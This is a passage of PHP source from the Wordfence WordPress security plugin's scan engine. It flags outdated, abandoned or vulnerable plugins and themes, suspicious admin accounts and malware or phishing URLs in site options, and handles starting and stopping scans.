=> true, 'homepage' => true, 'versions' => false, 'donate_link' => false, 'reviews' => false, 'banners' => false, 'icons' => false, 'active_installs' => false, 'group' => false, 'contributors' => false, ), )); unset($result->versions); unset($result->screenshots); $this->pluginRepoStatus[$slug] = $result; } catch (Exception $e) { error_log(sprintf('Caught exception while attempting to refresh update status for slug %s: %s', $slug, $e->getMessage())); $this->pluginRepoStatus[$slug] = false; wfConfig::set(wfUpdateCheck::LAST_UPDATE_CHECK_ERROR_KEY, sprintf('%s [%s]', $e->getMessage(), $slug), false); wfConfig::set(wfUpdateCheck::LAST_UPDATE_CHECK_ERROR_SLUG_KEY, $slug, false); } catch (Throwable $t) { error_log(sprintf('Caught error while attempting to refresh update status for slug %s: %s', $slug, $t->getMessage())); $this->pluginRepoStatus[$slug] = false; wfConfig::set(wfUpdateCheck::LAST_UPDATE_CHECK_ERROR_KEY, sprintf('%s [%s]', $t->getMessage(), $slug), false); wfConfig::set(wfUpdateCheck::LAST_UPDATE_CHECK_ERROR_SLUG_KEY, $slug, false); } $this->forkIfNeeded(); } } } private function scan_oldVersions_finish() { $haveIssues = wfIssues::STATUS_SECURE; if (!$this->isFullScan()) { $this->deleteNewIssues(array('wfUpgradeError', 'wfUpgrade', 'wfPluginUpgrade', 'wfThemeUpgrade')); } if ($lastError = wfConfig::get(wfUpdateCheck::LAST_UPDATE_CHECK_ERROR_KEY)) { $lastSlug = wfConfig::get(wfUpdateCheck::LAST_UPDATE_CHECK_ERROR_SLUG_KEY); $longMsg = sprintf(/* translators: error message. */ __("The update check performed during the scan encountered an error: %s", 'wordfence'), esc_html($lastError)); if ($lastSlug === false) { $longMsg .= ' ' . __('Wordfence cannot detect if the installed plugins and themes are up to date. This might be caused by a PHP compatibility issue in one or more plugins/themes.', 'wordfence'); } else { $longMsg .= ' ' . __('Wordfence cannot detect if this plugin/theme is up to date. This might be caused by a PHP compatibility issue in the plugin.', 'wordfence'); } $longMsg .= ' ' . sprintf( /* translators: Support URL. */ __('<a href="%s" target="_blank" rel="noopener noreferrer">Get more information.<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_RESULT_UPDATE_CHECK_FAILED)); $ignoreKey = ($lastSlug === false ? 'wfUpgradeErrorGeneral' : sprintf('wfUpgradeError-%s', $lastSlug)); $added = $this->addIssue( 'wfUpgradeError', wfIssues::SEVERITY_MEDIUM, $ignoreKey, $ignoreKey, ($lastSlug === false ? __("Update Check Encountered Error", 'wordfence') : sprintf(/* translators: plugin/theme slug. */ __("Update Check Encountered Error on '%s'", 'wordfence'), esc_html($lastSlug))), $longMsg, array() ); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } // WordPress core updates needed if ($this->updateCheck->needsCoreUpdate()) { $updateVersion = $this->updateCheck->getCoreUpdateVersion(); $severity = wfIssues::SEVERITY_HIGH; $shortMsg = __("Your WordPress version is out of date", 'wordfence'); $longMsg = sprintf(/* translators: Software version. */ __("WordPress version %s is now available. Please upgrade immediately to get the latest security updates from WordPress.", 'wordfence'), esc_html($updateVersion)); $currentVulnerable = $this->updateCheck->isCoreVulnerable('current'); $edgeVulnerable = $this->updateCheck->isCoreVulnerable('edge'); if ($this->updateCheck->coreUpdatePatchAvailable()) { //Non-edge branch with available backported update $updateVersion = $this->updateCheck->getCoreUpdatePatchVersion(); $patchVulnerable = $this->updateCheck->isCoreVulnerable('patch'); if (!$currentVulnerable && !$patchVulnerable) { //Non-edge branch, neither the current version or patch version have a known vulnerability $severity = wfIssues::SEVERITY_MEDIUM; $longMsg = sprintf(/* translators: Software version. */ __("WordPress version %s is now available for your site's current branch. Please upgrade immediately to get the latest fixes and compatibility updates from WordPress.", 'wordfence'), esc_html($updateVersion)); } else if ($currentVulnerable && !$patchVulnerable) { //Non-edge branch, current version is vulnerable but patch version is not $longMsg = sprintf(/* translators: Software version. */ __("WordPress version %s is now available for your site's current branch. Please upgrade immediately to get the latest security updates from WordPress.", 'wordfence'), esc_html($updateVersion)); //keep existing $severity already set } else { //Non-edge branch, unpatched vulnerability -- shift recommendation from patch update to edge update $updateVersion = $this->updateCheck->getCoreUpdateVersion(); //keep existing $severity and $longMsg already set } } else { //Edge branch or newest version of an older branch if (!$currentVulnerable && !$edgeVulnerable) { //Neither the current version or edge version have a known vulnerability if ($this->updateCheck->getCoreEarlierBranch()) { //Update available on the edge branch, but the older branch in current use is up-to-date for its patches $severity = wfIssues::SEVERITY_LOW; } else { $severity = wfIssues::SEVERITY_MEDIUM; } $longMsg = sprintf(/* translators: Software version. */ __("WordPress version %s is now available. Please upgrade immediately to get the latest fixes and compatibility updates from WordPress.", 'wordfence'), esc_html($updateVersion)); } //else vulnerability fixed or unpatched vulnerability, keep the existing values already set } $longMsg .= ' <a href="' . wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_RESULT_CORE_UPGRADE) . '" target="_blank" rel="noopener noreferrer">' . esc_html__('Learn more', 'wordfence') . '<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>'; if ($updateVersion) { $added = $this->addIssue( 'wfUpgrade', $severity, 'wfUpgrade' . $updateVersion, 'wfUpgrade' . $updateVersion, $shortMsg, $longMsg, array( 'currentVersion' => $this->wp_version, 'newVersion' => $updateVersion, ) ); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } } $allPlugins = $this->updateCheck->getAllPlugins(); // Plugin updates needed if (count($this->updateCheck->getPluginUpdates()) > 0) { foreach ($this->updateCheck->getPluginUpdates() as $plugin) { $severity = wfIssues::SEVERITY_CRITICAL; if (isset($plugin['vulnerable'])) { if (!$plugin['vulnerable']) { $severity = wfIssues::SEVERITY_MEDIUM; } } $key = 'wfPluginUpgrade' . ' ' . $plugin['pluginFile'] . ' ' . $plugin['newVersion'] . ' ' . $plugin['Version']; $shortMsg = sprintf( /* translators: 1. Plugin name. 2. Software version. 3. Software version. */ __('The Plugin "%1$s" needs an upgrade (%2$s -> %3$s).', 'wordfence'), empty($plugin['Name']) ? $plugin['pluginFile'] : $plugin['Name'], $plugin['Version'], $plugin['newVersion'] ); $added = $this->addIssue('wfPluginUpgrade', $severity, $key, $key, $shortMsg, sprintf( __("You need to upgrade \"%s\" to the newest version to ensure you have any security fixes the developer has released.", 'wordfence'), empty($plugin['Name']) ? $plugin['pluginFile'] : $plugin['Name'] ), $plugin); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } if (isset($plugin['slug'])) { unset($allPlugins[$plugin['slug']]); } } } // Theme updates needed if (count($this->updateCheck->getThemeUpdates()) > 0) { foreach ($this->updateCheck->getThemeUpdates() as $theme) { $severity = wfIssues::SEVERITY_CRITICAL; if (isset($theme['vulnerable'])) { if (!$theme['vulnerable']) { $severity = wfIssues::SEVERITY_MEDIUM; } } $key = 'wfThemeUpgrade' . ' ' . $theme['Name'] . ' ' . $theme['version'] . ' ' . $theme['newVersion']; $shortMsg = sprintf( /* translators: 1. Theme name. 2. Software version. 3. Software version. */ __('The Theme "%1$s" needs an upgrade (%2$s -> %3$s).', 'wordfence'), $theme['Name'], $theme['version'], $theme['newVersion'] ); $added = $this->addIssue('wfThemeUpgrade', $severity, $key, $key, $shortMsg, sprintf( /* translators: Theme name. */ __("You need to upgrade \"%s\" to the newest version to ensure you have any security fixes the developer has released.", 'wordfence'), esc_html($theme['Name']) ), $theme); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } } if ($this->isFullScan()) { //Abandoned plugins foreach ($this->pluginRepoStatus as $slug => $status) { if ($status !== false && !is_wp_error($status) && ((is_object($status) && property_exists($status, 'last_updated')) || (is_array($status) && array_key_exists('last_updated', $status)))) { $statusArray = (array) $status; $hasVersion = array_key_exists('version', $statusArray); if (!$hasVersion) { $statusArray['version'] = null; wordfence::status(3, 'error', "Unable to determine version for plugin $slug"); } if (array_key_exists('last_updated', $statusArray) && is_string($statusArray['last_updated']) && ($lastUpdateTimestamp = strtotime($statusArray['last_updated'])) && (time() - $lastUpdateTimestamp) > 63072000 /* ~2 years */) { try { $statusArray['dateUpdated'] = wfUtils::formatLocalTime(get_option('date_format'), $lastUpdateTimestamp); } catch (Exception $e) { //DateMalformedStringException in PHP >= 8.3, Exception previously wordfence::status(3, 'error', sprintf( /* translators: 1. Plugin slug. 2. Malformed date string. */ __('Encountered bad date string for plugin "%s" in abandoned plugin check: %s', 'wordfence'), $slug, $statusArray['last_updated'])); continue; } $severity = wfIssues::SEVERITY_MEDIUM; $statusArray['abandoned'] = true; $statusArray['vulnerable'] = false; $vulnerable = $hasVersion && $this->updateCheck->isPluginVulnerable($slug, $statusArray['version']); if ($vulnerable) { $severity = wfIssues::SEVERITY_CRITICAL; $statusArray['vulnerable'] = true; if (is_array($vulnerable) && isset($vulnerable['vulnerabilityLink'])) { $statusArray['vulnerabilityLink'] = $vulnerable['vulnerabilityLink']; } if (is_array($vulnerable) && isset($vulnerable['cvssScore'])) { $statusArray['cvssScore'] = $vulnerable['cvssScore']; } if (is_array($vulnerable) && isset($vulnerable['cvssVector'])) { $statusArray['cvssVector'] = $vulnerable['cvssVector']; } } if (isset($allPlugins[$slug]) && isset($allPlugins[$slug]['wpURL'])) { $statusArray['wpURL'] = $allPlugins[$slug]['wpURL']; } $key = "wfPluginAbandoned {$slug} {$statusArray['version']}"; if (isset($statusArray['tested'])) { $shortMsg = sprintf( /* translators: 1. Plugin name. 2. Software version. 3. Software version. */ __('The Plugin "%1$s" appears to be abandoned (updated %2$s, tested to WP %3$s).', 'wordfence'), (empty($statusArray['name']) ? $slug : $statusArray['name']), $statusArray['dateUpdated'], $statusArray['tested'] ); $longMsg = sprintf( /* translators: 1. Plugin name. 2. Software version. */ __('It was last updated %1$s ago and tested up to WordPress %2$s.', 'wordfence'), wfUtils::makeTimeAgo(time() - $lastUpdateTimestamp), esc_html($statusArray['tested']) ); } else { $shortMsg = sprintf( /* translators: 1. Plugin name. 2. Software version. */ __('The Plugin "%1$s" appears to be abandoned (updated %2$s).', 'wordfence'), (empty($statusArray['name']) ? $slug : $statusArray['name']), $statusArray['dateUpdated'] ); $longMsg = sprintf( /* translators: Time duration. */ __('It was last updated %s ago.', 'wordfence'), wfUtils::makeTimeAgo(time() - $lastUpdateTimestamp) ); } if ($statusArray['vulnerable']) { $longMsg .= ' ' . __('It has unpatched security issues and may have compatibility problems with the current version of WordPress.', 'wordfence'); } else { $longMsg .= ' ' . __('It may have compatibility problems with the current version of WordPress or unknown security issues.', 'wordfence'); } $longMsg .= ' ' . sprintf( /* translators: Support URL. */ __('<a href="%s" target="_blank" rel="noopener noreferrer">Get more information.<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_RESULT_PLUGIN_ABANDONED)); $added = $this->addIssue('wfPluginAbandoned', $severity, $key, $key, $shortMsg, $longMsg, $statusArray); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } unset($allPlugins[$slug]); } } else if ($status !== false && is_wp_error($status) && isset($status->errors['plugins_api_failed'])) { //The plugin does not exist in the wp.org repo $knownFiles = $this->getKnownFilesLoader()->getKnownFiles(); if (isset($knownFiles['status']) && is_array($knownFiles['status']) && isset($knownFiles['status']['plugins']) && is_array($knownFiles['status']['plugins'])) { $requestedPlugins = $this->getPlugins(); foreach ($requestedPlugins as $key => $data) { if ($data['ShortDir'] == $slug && isset($knownFiles['status']['plugins'][$slug]) && $knownFiles['status']['plugins'][$slug] == 'r') { //It existed in the repo at some point and was removed $pluginFile = wfUtils::getPluginBaseDir() . $key; $pluginData = get_plugin_data($pluginFile); $pluginData['wpRemoved'] = true; $pluginData['vulnerable'] = false; $vulnerable = $this->updateCheck->isPluginVulnerable($slug, $pluginData['Version']); if ($vulnerable) { $pluginData['vulnerable'] = true; if (is_array($vulnerable) && isset($vulnerable['vulnerabilityLink'])) { $statusArray['vulnerabilityLink'] = $vulnerable['vulnerabilityLink']; } if (is_array($vulnerable) && isset($vulnerable['cvssScore'])) { $statusArray['cvssScore'] = $vulnerable['cvssScore']; } if (is_array($vulnerable) && isset($vulnerable['cvssVector'])) { $statusArray['cvssVector'] = $vulnerable['cvssVector']; } } $key = "wfPluginRemoved {$slug} {$pluginData['Version']}"; $shortMsg = sprintf( /* translators: Plugin name. */ __('The Plugin "%s" has been removed from wordpress.org but is still installed on your site.', 'wordfence'), (empty($pluginData['Name']) ? $slug : $pluginData['Name'])); if ($pluginData['vulnerable']) { $longMsg = __('It has unpatched security issues and may have compatibility problems with the current version of WordPress.', 'wordfence'); } else { $longMsg = __('Your site is still using this plugin, but it is not currently available on wordpress.org. Plugins can be removed from wordpress.org for various reasons. This can include benign issues like a plugin author discontinuing development or moving the plugin distribution to their own site, but some might also be due to security issues. In any case, future updates may or may not be available, so it is worth investigating the cause and deciding whether to temporarily or permanently replace or remove the plugin.', 'wordfence'); } $longMsg .= ' ' . sprintf( /* translators: Support URL. */ __('<a href="%s" target="_blank" rel="noopener noreferrer">Get more information.<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_RESULT_PLUGIN_REMOVED)); $added = $this->addIssue('wfPluginRemoved', wfIssues::SEVERITY_CRITICAL, $key, $key, $shortMsg, $longMsg, $pluginData); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } unset($allPlugins[$slug]); } } } } } //Handle plugins that either do not exist in the repo or do not have updates available foreach ($allPlugins as $slug => $plugin) { if ($plugin['vulnerable']) { $key = implode(' ', array('wfPluginVulnerable', $plugin['pluginFile'], $plugin['Version'])); $shortMsg = sprintf(__('The Plugin "%s" has a security vulnerability.', 'wordfence'), $plugin['Name']); $longMsg = sprintf( wp_kses( __('To protect your site from this vulnerability, the safest option is to deactivate and completely remove "%s" until a patched version is available. <a href="%s" target="_blank" rel="noopener noreferrer">Get more information.<span class="screen-reader-text"> (opens in new tab)</span></a>', 'wordfence'), array( 'a' => array( 'href' => array(), 'target' => array(), 'rel' => array(), ), 'span' => array( 'class' => array() ) ) ), $plugin['Name'], wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_RESULT_PLUGIN_VULNERABLE) ); if (is_array($plugin['vulnerable']) && isset($plugin['vulnerable']['vulnerabilityLink'])) { $statusArray['vulnerabilityLink'] = $plugin['vulnerable']['vulnerabilityLink']; } if (is_array($plugin['vulnerable']) && isset($plugin['vulnerable']['cvssScore'])) { $statusArray['cvssScore'] = $plugin['vulnerable']['cvssScore']; } if (is_array($plugin['vulnerable']) && isset($plugin['vulnerable']['cvssVector'])) { $statusArray['cvssVector'] = $plugin['vulnerable']['cvssVector']; } $plugin['updatedAvailable'] = false; $added = $this->addIssue('wfPluginVulnerable', wfIssues::SEVERITY_CRITICAL, $key, $key, $shortMsg, $longMsg, $plugin); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } unset($allPlugins[$slug]); } } } $this->updateCheck = false; $this->pluginRepoStatus = array(); wfIssues::statusEnd($this->statusIDX['oldVersions'], $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_VULNERABILITY_SCAN, $haveIssues); } public function scan_suspiciousAdminUsers() { $this->statusIDX['suspiciousAdminUsers'] = wfIssues::statusStart(__("Scanning for admin users not created through WordPress", 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_OPTIONS_AUDIT); $haveIssues = wfIssues::STATUS_SECURE; $adminUsers = new wfAdminUserMonitor(); if ($adminUsers->isEnabled()) { try { $response = $this->api->call('suspicious_admin_usernames'); if (is_array($response) && isset($response['ok']) && wfUtils::truthyToBoolean($response['ok']) && !empty($response['patterns'])) { wfConfig::set_ser('suspiciousAdminUsernames', $response['patterns']); } } catch (Exception $e) { // Let the rest of the scan continue } $suspiciousAdmins = $adminUsers->checkNewAdmins(); if (is_array($suspiciousAdmins)) { foreach ($suspiciousAdmins as $userID) { $this->scanController->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_USERS); $user = new WP_User($userID); $key = 'suspiciousAdminUsers' . $userID; $added = $this->addIssue('suspiciousAdminUsers', wfIssues::SEVERITY_HIGH, $key, $key, sprintf(/* translators: WordPress username. */ __("An admin user with the username %s was created outside of WordPress.", 'wordfence'), esc_html($user->user_login)), sprintf(/* translators: WordPress username. */ __("An admin user with the username %s was created outside of WordPress. It's possible a plugin could have created the account, but if you do not recognize the user, we suggest you remove it.", 'wordfence'), esc_html($user->user_login)), array( 'userID' => $userID, )); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } } $admins = $adminUsers->getCurrentAdmins(); /** * @var WP_User $adminUser */ foreach ($admins as $userID => $adminUser) { $added = false; $key = 'suspiciousAdminUsers' . $userID; // Check against user name list here. $suspiciousAdminUsernames = wfConfig::get_ser('suspiciousAdminUsernames'); if (is_array($suspiciousAdminUsernames)) { foreach ($suspiciousAdminUsernames as $usernamePattern) { if (preg_match($usernamePattern, $adminUser->user_login)) { $added = $this->addIssue('suspiciousAdminUsers', wfIssues::SEVERITY_HIGH, $key, $key, sprintf(/* translators: WordPress username. */ __("An admin user with a suspicious username %s was found.", 'wordfence'), esc_html($adminUser->user_login)), sprintf(/* translators: WordPress username. */ __("An admin user with a suspicious username %s was found. Administrators accounts with usernames similar to this are commonly seen created by hackers. It's possible a plugin could have created the account, but if you do not recognize the user, we suggest you remove it.", 'wordfence'), esc_html($adminUser->user_login)), array( 'userID' => $userID, )); } } } if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } } wfIssues::statusEnd($this->statusIDX['suspiciousAdminUsers'], $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_OPTIONS_AUDIT, $haveIssues); } public function scan_suspiciousOptions() { $this->statusIDX['suspiciousOptions'] = wfIssues::statusStart(__("Scanning for suspicious site options", 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_OPTIONS_AUDIT); $haveIssues = wfIssues::STATUS_SECURE; $blogsToScan = self::getBlogsToScan('options'); $wfdb = new wfDB(); $this->hoover = new wordfenceURLHoover($this->apiKey, $this->wp_version); foreach ($blogsToScan as $blog) { $excludedHosts = array(); $homeURL = get_home_url($blog['blog_id']); $host = parse_url($homeURL, PHP_URL_HOST); if ($host) { $excludedHosts[$host] = 1; } $siteURL = get_site_url($blog['blog_id']); $host = parse_url($siteURL, PHP_URL_HOST); if ($host) { $excludedHosts[$host] = 1; } $excludedHosts = array_keys($excludedHosts); //Newspaper Theme if (defined('TD_THEME_OPTIONS_NAME')) { $q = $wfdb->querySelect("SELECT option_name, option_value FROM " . $blog['table'] . " WHERE option_name REGEXP '^td_[0-9]+$' OR option_name = '%s'", TD_THEME_OPTIONS_NAME); } else { $q = $wfdb->querySelect("SELECT option_name, option_value FROM " . $blog['table'] . " WHERE option_name REGEXP '^td_[0-9]+$'"); } foreach ($q as $row) { $found = $this->hoover->hoover($blog['blog_id'] . '-' . $row['option_name'], $row['option_value'], $excludedHosts); $this->scanController->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_URLS, $found); } } $this->status(2, 'info', __("Examining URLs found in the options we scanned for dangerous websites", 'wordfence')); $hooverResults = $this->hoover->getBaddies(); $this->status(2, 'info', __("Done examining URLs", 'wordfence')); if ($this->hoover->errorMsg) { wfIssues::statusEndErr(); throw new Exception($this->hoover->errorMsg); } $this->hoover->cleanup(); foreach ($hooverResults as $idString => $hresults) { $arr = explode('-', $idString); $blogID = $arr[0]; $optionKey = $arr[1]; $blog = null; foreach ($hresults as $result) { if ($result['badList'] != 'goog-malware-shavar' && $result['badList'] != 'googpub-phish-shavar' && $result['badList'] != 'wordfence-dbl') { continue; //A list type that may be new and the plugin has not been upgraded yet. } if ($blog === null) { $blogs = self::getBlogsToScan('options', $blogID); $blog = array_shift($blogs); } if ($result['badList'] == 'goog-malware-shavar') { $shortMsg = sprintf(/* translators: URL. */ __("Option contains a suspected malware URL: %s", 'wordfence'), esc_html($optionKey)); $longMsg = sprintf(/* translators: URL. */ __("This option contains a suspected malware URL listed on Google's list of malware sites. It may indicate your site is infected with malware. The URL is: %s", 'wordfence'), esc_html($result['URL'])); } else if ($result['badList'] == 'googpub-phish-shavar') { $shortMsg = sprintf(/* translators: URL. */ __("Option contains a suspected phishing site URL: %s", 'wordfence'), esc_html($optionKey)); $longMsg = sprintf(/* translators: URL. */ __("This option contains a URL that is a suspected phishing site that is currently listed on Google's list of known phishing sites. It may indicate your site is infected with malware. The URL is: %s", 'wordfence'), esc_html($result['URL'])); } else if ($result['badList'] == 'wordfence-dbl') { $shortMsg = sprintf(/* translators: URL. */ __("Option contains a suspected malware URL: %s", 'wordfence'), esc_html($optionKey)); $longMsg = sprintf(/* translators: URL. */ __("This option contains a URL that is currently listed on Wordfence's domain blocklist. It may indicate your site is infected with malware. The URL is: %s", 'wordfence'), esc_html($result['URL'])); } else { //A list type that may be new and the plugin has not been upgraded yet. continue; } $longMsg .= ' - ' . sprintf(/* translators: Support URL. */ __('<a href="%s" target="_blank" rel="noopener noreferrer">Get more information.<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_RESULT_OPTION_MALWARE_URL)); $this->status(2, 'info', sprintf(/* translators: Scan result description. */ __("Adding issue: %s", 'wordfence'), $shortMsg)); if (is_multisite()) { switch_to_blog($blogID); } $ignoreP = $idString; $ignoreC = $idString . md5(serialize(get_option($optionKey, ''))); $added = $this->addIssue('optionBadURL', wfIssues::SEVERITY_HIGH, $ignoreP, $ignoreC, $shortMsg, $longMsg, array( 'optionKey' => $optionKey, 'badURL' => $result['URL'], 'isMultisite' => $blog['isMultisite'], 'domain' => $blog['domain'], 'path' => $blog['path'], 'blog_id' => $blogID )); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } if (is_multisite()) { restore_current_blog(); } } } wfIssues::statusEnd($this->statusIDX['suspiciousOptions'], $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_OPTIONS_AUDIT, $haveIssues); } public function scan_geoipSupport() { $this->statusIDX['geoipSupport'] = wfIssues::statusStart(__("Checking for future GeoIP support", 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_SERVER_STATE); $haveIssues = wfIssues::STATUS_SECURE; if (version_compare(phpversion(), '5.4') < 0 && wfConfig::get('isPaid') && wfBlock::hasCountryBlock()) { $shortMsg = __('PHP Update Needed for Country Blocking', 'wordfence'); $longMsg = sprintf(/* translators: Software version. */ __('The GeoIP database that is required for country blocking has been updated to a new format. This new format requires sites to run PHP 5.4 or newer, and this site is on PHP %s. To ensure country blocking continues functioning, please update PHP.', 'wordfence'), wfUtils::cleanPHPVersion()); $longMsg .= ' ' . sprintf(/* translators: Support URL. */ __('<a href="%s" target="_blank" rel="noopener noreferrer">Get more information.<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_RESULT_GEOIP_UPDATE)); $this->status(2, 'info', sprintf(/* translators: Scan result description. */ __("Adding issue: %s", 'wordfence'), $shortMsg)); $ignoreP = 'geoIPPHPDiscontinuing'; $ignoreC = $ignoreP; $added = $this->addIssue('geoipSupport', wfIssues::SEVERITY_MEDIUM, $ignoreP, $ignoreC, $shortMsg, $longMsg, array()); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } wfIssues::statusEnd($this->statusIDX['geoipSupport'], $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_SERVER_STATE, $haveIssues); } public function status($level, $type, $msg) { wordfence::status($level, $type, $msg); } public function addIssue($type, $severity, $ignoreP, $ignoreC, $shortMsg, $longMsg, $templateData, $alreadyHashed = false) { wfIssues::updateScanStillRunning(); return $this->i->addIssue($type, $severity, $ignoreP, $ignoreC, $shortMsg, $longMsg, $templateData, $alreadyHashed); } public function addPendingIssue($type, $severity, $ignoreP, $ignoreC, $shortMsg, $longMsg, $templateData) { wfIssues::updateScanStillRunning(); return $this->i->addPendingIssue($type, $severity, $ignoreP, $ignoreC, $shortMsg, $longMsg, $templateData); } public function getPendingIssueCount() { return $this->i->getPendingIssueCount(); } public function getPendingIssues($offset = 0, $limit = 100) { return $this->i->getPendingIssues($offset, $limit); } public static function requestKill() { wfScanMonitor::endMonitoring(); wfConfig::set('wfKillRequested', time(), wfConfig::DONT_AUTOLOAD); } public static function checkForKill() { $kill = wfConfig::get('wfKillRequested', 0); if ($kill && time() - $kill < 600) { //Kill lasts for 10 minutes wordfence::status(10, 'info', "SUM_KILLED:" . __('Previous scan was stopped successfully.', 'wordfence')); throw new Exception(__("Scan was stopped on administrator request.", 'wordfence'), wfScanEngine::SCAN_MANUALLY_KILLED); } } public static function startScan($isFork = false, $scanMode = false, $isResume = false) { if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } if ($scanMode === false) { $scanMode = wfScanner::shared()->scanType(); } if (!$isFork) { //beginning of scan wfConfig::inc('totalScansRun'); wfConfig::set('wfKillRequested', 0, wfConfig::DONT_AUTOLOAD); wordfence::status(4, 'info', __("Entering start scan routine", 'wordfence')); if (wfScanner::shared()->isRunning()) { return __("A scan is already running. Use the stop scan button if you would like to terminate the current scan.", 'wordfence'); } wfConfig::set('currentCronKey', ''); //Ensure the cron key is cleared if (!$isResume) wfScanMonitor::handleScanStart($scanMode); } wfScanMonitor::logLastAttempt($isFork); $timeout = self::getMaxExecutionTime() - 2; //2 seconds shorter than max execution time which ensures that only 2 HTTP processes are ever occupied $testURL = admin_url('admin-ajax.php?action=wordfence_testAjax'); $forceIpv4 = wfConfig::get('scan_force_ipv4_start'); $interceptor = new wfCurlInterceptor($forceIpv4); if ($forceIpv4) $interceptor->setOption(CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); if (!wfConfig::get('startScansRemotely', false)) { if ($isFork) { $testSuccessful = (bool) wfConfig::get('scanAjaxTestSuccessful'); wordfence::status(4, 'info', sprintf(__("Cached result for scan start test: %s", 'wordfence'), var_export($testSuccessful, true))); } else { try { $testResult = $interceptor->intercept(function () use ($testURL, $timeout) { return wp_remote_post($testURL, array( 'timeout' => $timeout, 'blocking' => true, 'sslverify' => false, 'headers' => array() )); }); } catch (Exception $e) { //Fall through to the remote start test below } wordfence::status(4, 'info', sprintf(/* translators: Scan start test result data. */ __("Test result of scan start URL fetch: %s", 'wordfence'), var_export($testResult, true))); $testSuccessful = !is_wp_error($testResult) && (is_array($testResult) || $testResult instanceof ArrayAccess) && strstr($testResult['body'], 'WFSCANTESTOK') !== false; wfConfig::set('scanAjaxTestSuccessful', $testSuccessful); 